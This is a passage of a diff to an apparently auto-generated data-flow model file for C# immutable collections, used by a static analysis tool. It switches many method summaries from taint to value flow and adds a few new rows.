"ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableArray", False, "Sort", "()", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableArray", False, "Sort", "(System.Collections.Generic.IComparer)", "", "Argument[this]", "Argument[0]", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableArray", False, "Sort", "(System.Collections.Generic.IComparer)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableArray", False, "Sort", "(System.Collections.Generic.IComparer)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableArray", False, "Sort", "(System.Comparison)", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableArray", False, "Sort", "(System.Int32,System.Int32,System.Collections.Generic.IComparer)", "", "Argument[this]", "Argument[2]", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableArray", False, "Sort", "(System.Int32,System.Int32,System.Collections.Generic.IComparer)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableArray", False, "Sort", "(System.Int32,System.Int32,System.Collections.Generic.IComparer)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableArray", False, "ToBuilder", "()", "", "Argument[this].Element", "ReturnValue.Element", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableArray", False, "get_Item", "(System.Int32)", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableArray`1.array].Element", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableDictionary", False, "Create", "(System.Collections.Generic.IEqualityComparer)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -146,13 +146,14 @@ extensions: - ["System.Collections.Immutable", "ImmutableDictionary+Enumerator", False, "get_Current", "()", "", "Argument[this].Property[System.Collections.Immutable.ImmutableDictionary`2+Enumerator.Current]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableDictionary+Enumerator", False, "get_Current", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableDictionary", False, "Clear", "()", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableDictionary", False, "Remove", "(TKey)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableDictionary", False, "RemoveRange", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableDictionary", False, "SetItem", "(TKey,TValue)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableDictionary", False, "SetItems", "(System.Collections.Generic.IEnumerable>)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableDictionary", False, "Remove", "(TKey)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Collections.Immutable", "ImmutableDictionary", False, "RemoveRange", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Collections.Immutable", "ImmutableDictionary", False, "SetItem", "(TKey,TValue)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Collections.Immutable", "ImmutableDictionary", False, "SetItems", "(System.Collections.Generic.IEnumerable>)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableDictionary", False, "ToBuilder", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableDictionary", False, "TryGetKey", "(TKey,TKey)", "", "Argument[0]", "Argument[1]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableDictionary", False, "WithComparers", "(System.Collections.Generic.IEqualityComparer)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableDictionary`2._comparers].SyntheticField[System.Collections.Immutable.ImmutableDictionary`2+Comparers._keyComparer]", "value", "dfc-generated"] + - ["System.Collections.Immutable", "ImmutableDictionary", False, "WithComparers", "(System.Collections.Generic.IEqualityComparer)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableDictionary", False, "WithComparers", "(System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEqualityComparer)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableDictionary`2._comparers].SyntheticField[System.Collections.Immutable.ImmutableDictionary`2+Comparers._keyComparer]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableDictionary", False, "WithComparers", "(System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEqualityComparer)", "", "Argument[1]", "ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableDictionary`2._comparers].SyntheticField[System.Collections.Immutable.ImmutableDictionary`2+Comparers._valueComparer]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableDictionary", False, "WithComparers", "(System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEqualityComparer)", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] @@ -172,13 +173,14 @@ extensions: - ["System.Collections.Immutable", "ImmutableHashSet+Builder", False, "TryGetValue", "(T,T)", "", "Argument[0]", "Argument[1]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableHashSet+Enumerator", False, "get_Current", "()", "", "Argument[this].Property[System.Collections.Immutable.ImmutableHashSet`1+Enumerator.Current]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableHashSet+Enumerator", False, "get_Current", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableHashSet", False, "Except", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableHashSet", False, "Except", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableHashSet", False, "Intersect", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableHashSet", False, "Remove", "(T)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableHashSet", False, "Remove", "(T)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableHashSet", False, "SymmetricExcept", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableHashSet", False, "ToBuilder", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableHashSet", False, "TryGetValue", "(T,T)", "", "Argument[0]", "Argument[1]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableHashSet", False, "Union", "(System.Collections.Generic.IEnumerable)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["System.Collections.Immutable", "ImmutableHashSet", False, "Union", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableHashSet", False, "WithComparer", "(System.Collections.Generic.IEqualityComparer)", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableHashSet", False, "get_KeyComparer", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableInterlocked", False, "AddOrUpdate", "(System.Collections.Immutable.ImmutableDictionary,TKey,System.Func,System.Func)", "", "Argument[1]", "Argument[2].Parameter[0]", "value", "dfc-generated"] @@ -199,17 +201,17 @@ extensions: - ["System.Collections.Immutable", "ImmutableList", False, "Create", "(System.ReadOnlySpan)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "Create", "(T)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "Create", "(T[])", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableList", False, "CreateRange", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableList", False, "CreateRange", "(System.Collections.Generic.IEnumerable)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "IndexOf", "(System.Collections.Immutable.IImmutableList,T,System.Collections.Generic.IEqualityComparer)", "", "Argument[0].Element", "Argument[2]", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "IndexOf", "(System.Collections.Immutable.IImmutableList,T,System.Collections.Generic.IEqualityComparer)", "", "Argument[1]", "Argument[2]", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "LastIndexOf", "(System.Collections.Immutable.IImmutableList,T,System.Collections.Generic.IEqualityComparer)", "", "Argument[0].Element", "Argument[2]", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "LastIndexOf", "(System.Collections.Immutable.IImmutableList,T,System.Collections.Generic.IEqualityComparer)", "", "Argument[1]", "Argument[2]", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableList", False, "Remove", "(System.Collections.Immutable.IImmutableList,T)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableList", False, "RemoveRange", "(System.Collections.Immutable.IImmutableList,System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableList", False, "Replace", "(System.Collections.Immutable.IImmutableList,T,T)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableList", False, "Remove", "(System.Collections.Immutable.IImmutableList,T)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["System.Collections.Immutable", "ImmutableList", False, "RemoveRange", "(System.Collections.Immutable.IImmutableList,System.Collections.Generic.IEnumerable)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["System.Collections.Immutable", "ImmutableList", False, "Replace", "(System.Collections.Immutable.IImmutableList,T,T)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "Replace", "(System.Collections.Immutable.IImmutableList,T,T)", "", "Argument[2]", "Argument[0].Element", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "Replace", "(System.Collections.Immutable.IImmutableList,T,T)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableList", False, "ToImmutableList", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableList", False, "ToImmutableList", "(System.Collections.Generic.IEnumerable)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableList+Builder", False, "BinarySearch", "(System.Int32,System.Int32,T,System.Collections.Generic.IComparer)", "", "Argument[2]", "Argument[3]", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableList+Builder", False, "BinarySearch", "(System.Int32,System.Int32,T,System.Collections.Generic.IComparer)", "", "Argument[this]", "Argument[3]", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableList+Builder", False, "BinarySearch", "(T,System.Collections.Generic.IComparer)", "", "Argument[0]", "Argument[1]", "taint", "df-generated"] @@ -232,24 +234,23 @@ extensions: - ["System.Collections.Immutable", "ImmutableList", False, "ForEach", "(System.Action)", "", "Argument[this].Element", "Argument[0].Parameter[0]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "IndexOf", "(T,System.Int32,System.Int32,System.Collections.Generic.IEqualityComparer)", "", "Argument[0]", "Argument[3]", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "LastIndexOf", "(T,System.Int32,System.Int32,System.Collections.Generic.IEqualityComparer)", "", "Argument[0]", "Argument[3]", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableList", False, "Remove", "(T)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableList", False, "Remove", "(T)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "Remove", "(T,System.Collections.Generic.IEqualityComparer)", "", "Argument[0]", "Argument[1]", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableList", False, "Remove", "(T,System.Collections.Generic.IEqualityComparer)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableList", False, "RemoveAt", "(System.Int32)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableList", False, "RemoveRange", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableList", False, "RemoveRange", "(System.Collections.Generic.IEnumerable,System.Collections.Generic.IEqualityComparer)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableList", False, "Remove", "(T,System.Collections.Generic.IEqualityComparer)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Collections.Immutable", "ImmutableList", False, "RemoveAt", "(System.Int32)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Collections.Immutable", "ImmutableList", False, "RemoveRange", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "RemoveRange", "(System.Collections.Generic.IEnumerable,System.Collections.Generic.IEqualityComparer)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - - ["System.Collections.Immutable", "ImmutableList", False, "RemoveRange", "(System.Int32,System.Int32)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableList", False, "RemoveRange", "(System.Int32,System.Int32)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "Replace", "(T,T)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "Replace", "(T,T)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableList", False, "Replace", "(T,T)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableList", False, "Replace", "(T,T)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "Replace", "(T,T,System.Collections.Generic.IEqualityComparer)", "", "Argument[0]", "Argument[2]", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "Replace", "(T,T,System.Collections.Generic.IEqualityComparer)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "Replace", "(T,T,System.Collections.Generic.IEqualityComparer)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableList", False, "Replace", "(T,T,System.Collections.Generic.IEqualityComparer)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableList", False, "Replace", "(T,T,System.Collections.Generic.IEqualityComparer)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "SetItem", "(System.Int32,T)", "", "Argument[1]", "Argument[this]", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "SetItem", "(System.Int32,T)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableList", False, "SetItem", "(System.Int32,T)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableList", False, "SetItem", "(System.Int32,T)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "Sort", "()", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "Sort", "(System.Collections.Generic.IComparer)", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableList", False, "Sort", "(System.Comparison)", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] @@ -274,15 +275,15 @@ extensions: - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "CreateBuilder", "(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "CreateBuilder", "(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "CreateRange", "(System.Collections.Generic.IComparer,System.Collections.Generic.IEnumerable>)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "CreateRange", "(System.Collections.Generic.IComparer,System.Collections.Generic.IEnumerable>)", "", "Argument[1].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "CreateRange", "(System.Collections.Generic.IComparer,System.Collections.Generic.IEnumerable>)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "CreateRange", "(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEnumerable>)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "CreateRange", "(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEnumerable>)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "CreateRange", "(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEnumerable>)", "", "Argument[2].Element", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "CreateRange", "(System.Collections.Generic.IEnumerable>)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "ToImmutableSortedDictionary", "(System.Collections.Generic.IEnumerable>)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "ToImmutableSortedDictionary", "(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "CreateRange", "(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer,System.Collections.Generic.IEnumerable>)", "", "Argument[2]", "ReturnValue", "value", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "CreateRange", "(System.Collections.Generic.IEnumerable>)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "ToImmutableSortedDictionary", "(System.Collections.Generic.IEnumerable>)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "ToImmutableSortedDictionary", "(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "ToImmutableSortedDictionary", "(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "ToImmutableSortedDictionary", "(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "ToImmutableSortedDictionary", "(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "ToImmutableSortedDictionary", "(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "ToImmutableSortedDictionary", "(System.Collections.Generic.IEnumerable>,System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer)", "", "Argument[2]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "ToImmutableSortedDictionary", "(System.Collections.Generic.IEnumerable,System.Func,System.Func)", "", "Argument[0].Element", "Argument[1].Parameter[0]", "value", "dfc-generated"] @@ -303,17 +304,20 @@ extensions: - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "Clear", "()", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer]", "ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "Clear", "()", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._valueComparer]", "ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._valueComparer]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "Clear", "()", "", "Argument[this]", "ReturnValue", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "Remove", "(TKey)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "RemoveRange", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "Remove", "(TKey)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "RemoveRange", "(System.Collections.Generic.IEnumerable)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "SetItem", "(TKey,TValue)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._root].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2+Node._key]", "value", "dfc-generated"] - - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "SetItems", "(System.Collections.Generic.IEnumerable>)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "SetItems", "(System.Collections.Generic.IEnumerable>)", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "SetItem", "(TKey,TValue)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "SetItems", "(System.Collections.Generic.IEnumerable>)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "SetItems", "(System.Collections.Generic.IEnumerable>)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "ToBuilder", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "TryGetKey", "(TKey,TKey)", "", "Argument[0]", "Argument[1]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "TryGetKey", "(TKey,TKey)", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._root].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2+Node._key]", "Argument[1]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "WithComparers", "(System.Collections.Generic.IComparer)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer]", "value", "dfc-generated"] + - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "WithComparers", "(System.Collections.Generic.IComparer)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "WithComparers", "(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer)", "", "Argument[0]", "ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "WithComparers", "(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer)", "", "Argument[1]", "ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._valueComparer]", "value", "dfc-generated"] + - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "WithComparers", "(System.Collections.Generic.IComparer,System.Collections.Generic.IEqualityComparer)", "", "Argument[this]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "get_KeyComparer", "()", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._keyComparer]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedDictionary", False, "get_ValueComparer", "()", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedDictionary`2._valueComparer]", "ReturnValue", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "Create", "(System.Collections.Generic.IComparer)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] @@ -328,10 +332,10 @@ extensions: - ["System.Collections.Immutable", "ImmutableSortedSet", False, "Create", "(T[])", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "CreateBuilder", "(System.Collections.Generic.IComparer)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "CreateRange", "(System.Collections.Generic.IComparer,System.Collections.Generic.IEnumerable)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableSortedSet", False, "CreateRange", "(System.Collections.Generic.IComparer,System.Collections.Generic.IEnumerable)", "", "Argument[1].Element", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableSortedSet", False, "CreateRange", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableSortedSet", False, "ToImmutableSortedSet", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] - - ["System.Collections.Immutable", "ImmutableSortedSet", False, "ToImmutableSortedSet", "(System.Collections.Generic.IEnumerable,System.Collections.Generic.IComparer)", "", "Argument[0].Element", "ReturnValue", "taint", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedSet", False, "CreateRange", "(System.Collections.Generic.IComparer,System.Collections.Generic.IEnumerable)", "", "Argument[1]", "ReturnValue", "value", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedSet", False, "CreateRange", "(System.Collections.Generic.IEnumerable)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedSet", False, "ToImmutableSortedSet", "(System.Collections.Generic.IEnumerable)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] + - ["System.Collections.Immutable", "ImmutableSortedSet", False, "ToImmutableSortedSet", "(System.Collections.Generic.IEnumerable,System.Collections.Generic.IComparer)", "", "Argument[0]", "ReturnValue", "value", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "ToImmutableSortedSet", "(System.Collections.Generic.IEnumerable,System.Collections.Generic.IComparer)", "", "Argument[1]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet+Builder", False, "IntersectWith", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Builder._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet+Builder", False, "SymmetricExceptWith", "(System.Collections.Generic.IEnumerable)", "", "Argument[0].Element", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Builder._root].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1+Node._key]", "value", "dfc-generated"] @@ -344,18 +348,19 @@ extensions: - ["System.Collections.Immutable", "ImmutableSortedSet+Enumerator", False, "get_Current", "()", "", "Argument[this]", "ReturnValue", "taint", "df-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "Clear", "()", "", "Argument[this].SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._comparer]", "ReturnValue.SyntheticField[System.Collections.Immutable.ImmutableSortedSet`1._comparer]", "value", "dfc-generated"] - ["System.Collections.Immutable", "ImmutableSortedSet", False, "Clear", "()", "", "Argument[this]", "ReturnValue", 